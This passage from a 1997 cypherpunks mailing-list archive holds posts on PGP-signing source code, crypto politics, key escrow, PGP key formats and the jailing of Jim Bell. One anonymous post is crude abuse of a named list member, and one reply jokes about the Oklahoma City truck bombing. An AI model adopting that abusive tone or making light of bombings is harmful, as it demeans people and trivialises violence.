       500  03/01/95  BP AMERICA
PAC                                                                            
>>>>     1,000  02/06/95  CIVIC ACTION FUND - LORAL SYSTEMS GROUP (FKA GOODYEAR AEROSPACE CORP PAC)                 
     2,000  05/11/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
     1,000  09/18/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
     3,000  09/18/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
>>>>     1,000  01/16/95  MARTIN MARIETTA CORPORATION POLITICAL ACTION COMMITTEE                                    
>>>>     1,000  03/13/95  MARTIN MARIETTA CORPORATION POLITICAL ACTION COMMITTEE                                    
>>>>     1,000  02/17/95  MCDONNELL DOUGLAS EMPLOYEES' POLITICAL ACTION COMMITTEE                                   
     1,000  08/17/95  PMAA/SMALL BUSINESS
COMMITTEE                                                             
     1,000  02/10/95  PODIATRY POLITICAL ACTION
COMMITTEE                                                       
>>>>     1,000  03/11/95  RAYTHEON COMPANY POLITICAL ACTION COMMITTEE                                               
     1,000  02/22/95  SVGGS
FUND                                                                                
     1,000  03/14/95  TALLEY INDUSTRIES, INC, POLITICAL ACTION COMMITTEE
(TALLEY-PAC)                           
     1,000  02/23/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
       100  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
     3,550  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
       350  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
 
    31,100





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 00:54:00 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Sign you source code (was Re: why we need source code (was Re: RC5 crack))
In-Reply-To: <199706220814.JAA06026@server.test.net>
Message-ID: <199706221643.LAA06619@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199706220814.JAA06026@server.test.net>, on 06/22/97 
   at 09:14 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>- those running the rc5 crack don't sign their binaries (presumably
>  because they don't use PGP, or don't know what it is or something),
>  who knows what you're downloading, virus, disk formatter, what ever.
>  If you had source code, you could verify it yourself at least, even
>  if there is no signature.

>- This problem with taking too few keys, if you had the source, and they
>  can't be bothered to write instructions, or even brief usage notes,
>  you could at least figure out how to use it from the source

It's a shame that more shareware/freeware authors don't sign their code.

I wrote a small Rexx script that signs all my source code, signs the
binaries, creates the zip archive & signs it then creates a wrapper zip
archive for the archive & the detached signature file.

For C, H & CMD files you can clear sign the text files and still be able
to compile them without revmoving the signatures.

Example Test.C

  main(){
  .
  .
  .
  }

Add the following to the top and bottom of the file:

  */

  main(){
  .
  .
  .
  }

  /*

Now clearsign the file.


  -----BEGIN PGP SIGNED MESSAGE-----
  */

  main(){
  .
  .
  .
  }

  /*
  -----BEGIN PGP SIGNATURE-----
  Version: 2.6.3a
  Charset: cp850
  Comment: Registered_User_E-Secure_v1.1b1_ES000000

  iQCVAwUBM6m/I49Co1n+aLhhAQGI4gQAgdJ8wU8PZezxO+DHFAzLoMmrnPoi7xBV
  4YVGablxDRO16cELE8p2YVaNeZ+dOOLiZYnpZKPoPW2w8Ze7gDxAz5ODJ8ZBd+Ta
  x/3o3jkFGednnlJoEQcpS/R4bmoKy9hMzO7KJpXJB8YiWrbbGfiA3YidGMtYhWUf
  bDPiuD+rqXI=
  =gNYv
  -----END PGP SIGNATURE-----


Now add the following to the top and bottom of the message:

  /*
  -----BEGIN PGP SIGNED MESSAGE-----
  */

  main(){
  .
  .
  .
  }

  /*
  -----BEGIN PGP SIGNATURE-----
  Version: 2.6.3a
  Charset: cp850
  Comment: Registered_User_E-Secure_v1.1b1_ES000000

  iQCVAwUBM6m/I49Co1n+aLhhAQGI4gQAgdJ8wU8PZezxO+DHFAzLoMmrnPoi7xBV
  4YVGablxDRO16cELE8p2YVaNeZ+dOOLiZYnpZKPoPW2w8Ze7gDxAz5ODJ8ZBd+Ta
  x/3o3jkFGednnlJoEQcpS/R4bmoKy9hMzO7KJpXJB8YiWrbbGfiA3YidGMtYhWUf
  bDPiuD+rqXI=
  =gNYv
  -----END PGP SIGNATURE-----
  */

Now the PGP Signature has been commented out of the source code so it will
not interfere with compiling. The end user can verify the signature
without any modifications.

I don't know if this will work with other languages that use different
dilimiters. It all depends if you have the ability to comment out a block
of text or if you need to add a dilimiter to every line.


-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 22 Jun 1997 18:07:18 +0800
To: cypherpunks@toad.com
Subject: Diffie-Hellman
Message-ID: <199706220954.LAA11884@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



May Tim C. Mayflower's forgeries get stuck up his ass so 
he'll have to shit through his filthy mouth for the rest of 
its miserable life.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/---- Tim C. Mayflower
               (   ) (   )
               oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 23 Jun 1997 00:19:37 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: The Global Fix is In
In-Reply-To: <199706212159.OAA07925@sirius.infonex.com>
Message-ID: <Pine.LNX.3.91.970622115344.593A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> You can't go underground if cryptography is illegal.  You don't have remailers,
> so you can't be anonymous.  You don't have crypto, so anyone can see what
> you're doing online.  It doesn't work.

No,

It is not difficult to find somewhere (Anguilla?) where remailers and 
cryptography are far less likely to be restricted than elsewhere, the US 
knows the pointlessness of trying to enforce proxy censorship services, 
so does most everywhere else since the XS4ALL fiasco, there is no way 
they can stop US citizens sending mail through mixmasters in say 
Anguilla, or some other small independent country, for example IOM.

> People are tired.  We win one battle, and have to begin again with another.
> But that's the way it works.  Look at the political battles which have gone on
> for decades: gun control, abortion, environmentalism, many more.  You have
> to be in this for the long haul.  You have to fight every step of the way.

I agree, but you don`t realise that once cryptography is spread far 
enough there can be no restricting it`s use. The law is an ass.

I think that finally the poloticians in D.C, London, Berlin and all the 
other major capitals have caught on, and realised that open availability 
of anonymity, security and strong crypto can only lead to crypto anarchy, 
they are *scared*, this time they are no longer do-gooding idiots, they 
are out to cover their own backs...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 01:12:37 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <199706221703.MAA06794@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706220938.KAA06436@server.test.net>, on 06/22/97 
   at 10:38 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>A couple of people have complained of the huge efforts put into breaking
>keys, and of the small efforts invested in cypherpunks code writing of
>late.

>Perhaps there is something to this challenge stuff, in terms of getting
>contributors, neatly tabulating results, working up enthusiasm etc.

>So... how about a code writing challenge, an award for the best
>cypherpunk project every month.  (No monetary prize, just vote on list to
>decide most significant project).

Well I haven't done alot in the area of writting crypto algoritims I have
done quite a bit of work in the area of crypto implementations (mostly in
the PGP - E-Mail Integration).

I have also been working on improving performance of PGP when working with
large keyrings (primary & secondary indexing, multiple keyring lookups,
public key caching, real time key retreival from BAL servers).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61b+o9Co1n+aLhhAQEaswP/VqevtYSH4/dnNtKwP5KGABp+6MgwUZTF
grnEgYUM8j1QGWCjEUX8FqzoJGD6PCFgFQ36uwzE3K/+/sCHbIY9wYeha47bjDok
DSCTWxdztbclBLldQRzIXpbx4varCZ5xTm5inzrNVAypDdrCWIPNvtlgflq+6+aI
UCxr1QB5cJo=
=duot
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 23 Jun 1997 03:39:48 +0800
To: cypherpunks@toad.com
Subject: Assault on Pornography
Message-ID: <199706221921.MAA15421@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  Since the U.S. legislature is so concerned about child pornography
and the government is interested in promoting world-wide enforcement
of laws meant to fight evil, I was wondering about the following
scenario:
  Manuel Noriega sends pictures on the internet to Iraq of women with
their ankles showing and their heads uncovered. Iraq sends an armed
force to the U.S. to capture Noriega and take him to Iraq for trial.
  Sure, a few thousand U.S. troops and citizens might die, but it is
for the greater good, right?

Scenario Two:
  Bill Clinton sends a picture on the internet to Iraq of Hillary, with
her ankles showing and her head uncovered...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 01:29:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <v03102803afd30c03db18@[207.167.93.63]>
Message-ID: <199706221721.MAA06966@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803afd30c03db18@[207.167.93.63]>, on 06/22/97 
   at 10:07 AM, Tim May <tcmay@got.net> said:

>At 9:44 AM -0700 6/22/97, Ryan Anderson wrote:

>>
>>You have a better method?  Let's hear it.
>>

>Pick one or both of the below:

>"Something _wonderful_ is about to happen."

Any truth to the rumor that a convoy of Rider trucks were seen Southbound
on I25?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61gEI9Co1n+aLhhAQH2MwP+IiCLNJrTRyehpzwPtDHWCTRnKHPH5BIQ
Qrwcj/xRGuBKxPja4whihwtPYNfvR+arJ3KQOiZ/NgSdDI4otW52TsDy+b2MyUJ0
VHeC4WS2kuGGWQBnlCK7aT/I13YZDdO4dCAVV9Urn8j+LSThkUnCdsKyWQdcOr8V
29P8Ru9X6Qo=
=JiJT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 01:48:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Global Fix is In
Message-ID: <199706221741.MAA07164@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970622115344.593A-100000@fatmans.demon.co.uk>, on
06/22/97 
   at 11:58 AM, Paul Bradley <paul@fatmans.demon.co.uk> said:

>I think that finally the poloticians in D.C, London, Berlin and all the 
>other major capitals have caught on, and realised that open availability 
>of anonymity, security and strong crypto can only lead to crypto anarchy,
> they are *scared*, this time they are no longer do-gooding idiots, they 
>are out to cover their own backs...

There have only been 2 intrests of the politition:

CYA -- Cover Your Ass
LYP -- Line Your Pockets

There is also the desire to get re-elected but that directly relates to
the two above.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61ko49Co1n+aLhhAQGylQQAvLLnNgbu5SamAMMimF0BYina9gNdXkf6
r52wIpTncCHVeFS8khA73IcIwCOyMi7ktFuVOJKUWT/cNdFoMYEp2bDbai/KzVcx
O/2ueFTiqEQNk2WR4caTABJtPxASRxPa7X8M8u9gdaBUwHOCTj+yRcDxAhxaAc3+
Ma29OH+tgxk=
=kCas
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Mon, 23 Jun 1997 00:51:45 +0800
To: Steven L Baur <steve@miranova.com>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <m2en9uncbo.fsf@altair.xemacs.org>
Message-ID: <Pine.GSO.3.95.970622123321.23284B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On 22 Jun 1997, Steven L Baur wrote:

> > You've completely missed my point.  This would be an on-going problem.
> > Congress can only function with some idea of compromise in it.
> 
> Then Congress should be eliminated.  There is no excuse for the CDA
> rider and my (now ex-)representative who voted for that bill was
> voted into office on a campaign of ending politics-as-usual sorts of
> things like that.

Look at it this way:  If you want some bill passed (some spending bill or
such) it has to get out of the Senate.  the senate can easily pull a
filibuster with a minority of the Senate, and shutdown the government
entirely.  If you really eliminate a sense of compromise on issues, you're
hamstringing the government.  It's really one of the fundamental things
that is required to make a constitutional republic such as we have work.  

Remember, the founding fathers went way way way out of their way to make
sure that this was not simply a majority rules country.  Rather, the best
description I've heard of it is a "majority rules with minority rights"
(filibuster, etc..)

> Right now I have two senators: Dianne "No problem giving government
> contract money illegally to my husband" Swinestein and Barbara "No
> money in my checking account? I guess I'll just have to write another
> one" Boxer and congressional representative Walter "I cannot think of
> any government program which should be eliminated" Capps.
> The American government is broken.

You have a better method?  Let's hear it.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 23 Jun 1997 04:06:10 +0800
To: cypherpunks@Algebra.COM
Subject: Dirty hands kill more people (80K/yr) than guns (FWD)
Message-ID: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



This needed to be shared...

Expect government hand escrow any day now.

From: aib@col.hp.com (Allan Best)
Newsgroups:
alt.politics.clinton,alt.politics.democrats.d,alt.politics.usa.republican,al
t.rush-limbaugh,alt.fan.rush-limbaugh,alt.politics.libertarian,talk.politics
.libertarian,talk.politics.misc,talk.politics.guns,alt.law-enforcement
Subject: Re: Dirty hands kill more people (80K/yr) than guns
Date: 17 Jun 1997 20:18:00 GMT
Organization: HP Colorado Springs Division

ec Roberts (armed_and_safe@technologist.com) wrote:
: On Mon, 16 Jun 1997 14:00:03 +0900, Jason Gottlieb
: <zj5j-gttl@asahi-net.or.jp> wrote:

: {snip}
: >The #1 murder weapon is a hand with a handgun in it.
: >
: The #1 murder weapon is a hand. This is so,
: regardless of the tool in that hand.
: Bob

The obvious solution is to register all hands. Hands must be kept away from
children. To protect children, a hand shall not be transported to within 1000 
yards of any school, playground or daycare facility. All concealed carry
hands 
must be registered. Concealed carry is banned in all government facilities, 
especially US Post Offices, and all public buildings including, but not
limited 
to airports, bus stations, train depots and taxi stands.

Furthermore, there shall be a 15-day waiting period and a background check 
before the purchase of any legal hand can be completed. Anyone caught with an
unregistered hand shall have that hand immediately confiscated and be liable
to a fine and/or imprisonment. 

The ownership of fully-automatic hands, assault hands, ugly hands, or
cop-killer
gloves is expressly forbidden.



: >
: >-- 
: >Jason Gottlieb
: >Homepage goodies: Japanese SDF info, USA
: > gun control info, travellogues, and more!
: >http://www.asahi-net.or.jp/~zj5j-gttl

: **** Armed and Safe(tm) ****
: **** www.ivic.net/~ecr  ****

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 05:28:41 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Dirty hands kill more people (80K/yr) than guns (FWD)
In-Reply-To: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
Message-ID: <3.0.2.32.19970622141408.0075c400@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:59 PM 6/22/97 -0700, Alan Olsen wrote:
>Expect government hand escrow any day now.

You're rather behind the times - we already have hand registration
in many places.  In particular, California wants your thumbprint,
assuming you want to drive.  (A couple decades ago, my father-in-law
annoyed the Hawaii driver's license bureaucrats by insisting they
follow the law.  The law required either an SSN or a thumbprint,
but the clerks in fact wanted the SSN because it's much less work,
and (not that they cared personally) more useful for databases.
He gave them the thumbprint.  This was before the states were allowed
to make it mandatory to provide SSNs; CA wants both now, of course.)

Also, there's an obvious extension to gun registration,
which is the requirement to provide several bullets shot
with each of your guns, so they can do ballistics checks later.
Obviously it won't stop unregistered gun trading,
and isn't much use for shotguns, but it's a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 05:27:41 +0800
To: Tim May <tcmay@got.net>
Subject: Re: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <3.0.2.32.19970622141801.0076582c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Perhaps a list of how many lines of code.  A hall of fame if you like:
>>% wc -l `find . -name \*.h -print -o -name \*.c -print`
>>Eric Young		SSL-eay		101,721 lines
>>PGP Inc			pgp30		    (?) lines
>>Phil Zimmermann & co	pgp263		 34,891 lines

>Not to be tedious about this, but why would "lines of code" be an
>interesting metric?

Yeah - I was thinking of the following entries:
  Adam Back             RSAperl		4 lines
  Adam Back et al.	RSAperl		2 lines

I don't think anybody's made a T-Shirt with SSLeay on it yet :-)

(Though actually SSLeay has been very useful to a lot of the
world's free cryptography, and has prompted the US spooks 
to pressure the Australian spooks into restricting crypto exports,
just as they've pressured the NZs into restricting them for
Peter Gutman, and have been trying to work on the Irish...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 05:34:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: why no more RSA keys? (was Re: how to `go underground')
In-Reply-To: <199706221457.JAA05804@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970622142746.0076582c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:42 PM 6/22/97 +0100, Adam Back wrote:
>I was really quite unclear as to why the freeware one should have
>reduced functionality, and as we are finally going to get source code,
>I figured it'd be easy to rememdy this deficiency.
>
>Still, I am curious as to why this might be.
>
>One guesses it might have something to do with PGP's financial
>interest to move the internet user base away from RSA keys towards El
>Gamal/DSS key pairs, so that they can remove RSA backwards
>compatibility from the commercial versions, if it comes to that.
>(Re. patent and licesning hassles from the litigious legal-beagles at
>RSA).  Perhaps.

Getting out from under the patent restrictions is a big win,
purely aside from the details of any hassles with RSA Inc.
Also, because MD5 is looking shaky these days, they do need to
move people toward versions with SHA1 signatures.
Since the commercial versions do EG/DSS, and people will be
sending messages signed with DSS, and wanting to receive
mail encrypted with EG, it's worthwhile for them
to push people to migrate to the new formats;
the freeware version is an obvious lever, even though I'm sure
there will be fixes to add RSA key generation back in Real Soon.
(Also, you don't _need_ a fix - just keep the old PGP around,
and use it when you want to generate a key.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Russell Nelson <nelson@crynwr.com>
Date: Sun, 22 Jun 1997 22:45:17 +0800
To: cypherpunks@toad.com
Subject: A Brief History of Cryptography
Message-ID: <19970622142825.26126.qmail@desk.crynwr.com>
MIME-Version: 1.0
Content-Type: text/plain



[ I'm not on the list.  Replies cc'ed to me.  Public domain ]

Once upon a time, the average citizen did not have access to locks.
The U.S. Government had locks, and agencies to control them: the FBL,
the CLA, and the NLA.  They even knew that other governments had
locks, but they also knew that those governments denied locks to their
citizens, so the whole lock business was cartelized.

However, the need for locks could not be denied, so the NLA was
chartered to create locks for U.S. citizens.  It created a lock, but
didn't explain how the lock worked.  Some people showed that the lock
might be pickable by the NLA, although they couldn't pick it
themselves.  Some people thought that the extra wards in the lock were
there to give the NLA a master key.  But none of it could be proved,
so people used the standard lock.

As the society got wealthier, people had more things they needed to
lock up.  This created more incentive for lock creation, and citizens
started to invent them.  Some locks were sham locks and could be
picked with a hairpin, or a skeleton key.  Other locks were
understandably difficult to pick, and came to be preferred to the
NLA-approved standard lock.

The NLA (and FBL and CLA) feared these locks that they hadn't devised
and probably couldn't pick.  So they proposed a scheme whereby they
would create a new standard lock, which had an explicit master key.
Naturally, this was viewed as a step backwards by people used to the
standard lock, which they believed couldn't be opened by anyone but
the key-holder.  This lock design was opposed by nearly everyone.

So they proposed a new lock standard, whereby everyone had to have a
copy of their key registered with the NLA.  This also was perceived as
unworkable for the same reason as the master key system.

In the meantime, of course, people were using these new
citizen-created locks, which were widely thought to be strong.  They
expected no less of the NLA lock design, particularly since the NLA
standard lock has been proven to be pickable.

How will this story end?  No one knows yet.  Will the NLA seek to ban
strong locks?  Or will the NLA lose all its control over citizen
locking?  Time will tell....

-- 
-russ <nelson@crynwr.com>    http://www.crynwr.com/~nelson
Crynwr Software sells network driver support    | PGPok | good luck, have fun!
521 Pleasant Valley Rd. | +1 315 268 1925 voice | taxes feed the naked
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | and clothe the hungry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 23 Jun 1997 04:16:58 +0800
To: cypherpunks@toad.com
Subject: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <Pine.GSO.3.95.970622123321.23284B-100000@ece>
Message-ID: <v03020926afd30f8f70cc@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:07 pm -0400 on 6/22/97, Tim May wrote on cypherpunks:

> "Something _wonderful_ is about to happen."
>
> "I have a solution."
>
>
> --Tim "Channeling Bell" May

Speaking of the dead, or at least the departed...

Has anybody local to Jim Bell's stir gone to visit our incarcerated, um,
gaming enthusiast, lately, just to see if he needs anything? Oh. Besides
*that* of course. :-).

Is Bell *taking* visitors yet? Would anyone in Oregon *want* to go visit
Bell, reprehensible opinions and all, if he was accepting visitors?


The reason I ask is, given events of the past few days, it may be time to
start standing up for our friends, no matter how unsavory their ideas.
Slippery slopes, and all that. I'm beginning to think of this as the
net.equivalent of neighborhood "policing", if you will, where the slightest
infraction against freedom by the federal law "enforcement" "community" is
met with the most determined (legal!) resistance possible. Maybe something
like Helsinki Watch, or, god forbid, Amnesty International.

Arresting Jim Bell and holding him with what seems to be an unreasonable
bail (that is, he can't afford to pay it) by a small army of nomex-hooded
kluxer-equivalents is the police-state version of drinking on a
streetcorner. "Patting down" the officials responsible, legally and
politically, might yield the functional equivalent of a concealed weapons
violation. That, in turn, would tell people who are wont to surround
people's houses with black nomex ninja-wannabes to think twice about
ordering such shenanigans in the future.

Tim was talking earlier here about how this kind of accountability should
have been held, more stringently, for the people who burned children in
Waco, and who shot them at Ruby Ridge. Maybe it's time to hold people who
commit capital crimes on the state's behalf to understand that the legal
sword cuts both ways. If so, I think the best way to start this is to do it
in manageable increments, and ratchet up the pressure from there. To have
zero tolerence for even the smallest offenses, starting with the jailing of
Mr. Bell.

That's because Bell is, however rediculous the offense or his behavior the
first cypherpunk political prisoner. He's ours, folks, like it or not. It's
time we faced it, and dealt with the problem accordingly.


To my mind, turnabout is in fact fair play. If you start busting the
constitutional public drinkers, like the interagency Boy's State delegation
who hauled Jim off, maybe the rest of the erst-fascists out there in
Uncle's employ will keep their nomex pyjamas in the closet, only taking
their costumes out for the occasional midnight constitution-burning
ceremony, instead of coming next for someone with more substantial freedoms
to defend.

And, frankly, if rejectionism is called for, now or later, we will know
that much sooner based on how well efforts like springing our canary in
that Oregon coal mine fares...

Admittedly, this is a distraction from the most important thing, which is
writing code, but I bet that there are in fact cypherpunks-who-don't-code
in Bell's neighborhood, and not necessarily even Friends of Jim, who would
be happy to personally go see how Bell is doing and come back and tell us
what happened. Think of it as part of the feedback loop for net.freedom. A
trip into the coal mine with a canary cage.

Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
there want to do this?

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 04:03:46 +0800
To: cypherpunks@toad.com
Subject: Re: Assault on Pornography
In-Reply-To: <199706221921.MAA15421@fat.doobie.com>
Message-ID: <199706221953.OAA08333@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706221921.MAA15421@fat.doobie.com>, on 06/22/97 
   at 12:21 PM, nobody@huge.cajones.com (Huge Cajones Remailer) said:

>Scenario Two:
>  Bill Clinton sends a picture on the internet to Iraq of Hillary, with
>her ankles showing and her head uncovered...

I believe that he could be extradited under international treaties against
torture. :) -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM62Dm49Co1n+aLhhAQH49QQAi1M4KgbUecMvd1+mkW3R1xddC/tmGGPy
+Jt0aHJneFXz+0JBSVZvSXafGaSplBtnwTYX45as91QWeZ0Jt7uO36kxYuBAKnUs
RdWl//8chY094zWRDAaZDJ1hRjHQkoydBi54InBoHbtKm5OmfBrEn1u0sGRRVnU3
a4verOz7ROM=
=j3JG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Date: Sun, 22 Jun 1997 20:58:25 +0800
To: The XTASY Mailing List <cypherpunks@toad.com
Subject: Decrypting DES
Message-ID: <Pine.LNX.3.95.970622144439.10853D-100000@sdnpk.undp.org>
MIME-Version: 1.0
Content-Type: text/plain




Folks, here is a project I am working on. Need your help with it as it is
really important.

You know we often encrypt files using a key (the DES way -- won't talk
about RSA here). Examples are the UN*X "crypt", the MS-Office "Save with
password" option, and lots of other ciphers using this alorithm. Take a
text file, for instance. You provide a key and the file is encrypted using
that key, and can be decrypted only if that key is known. It involved only
one key/password.

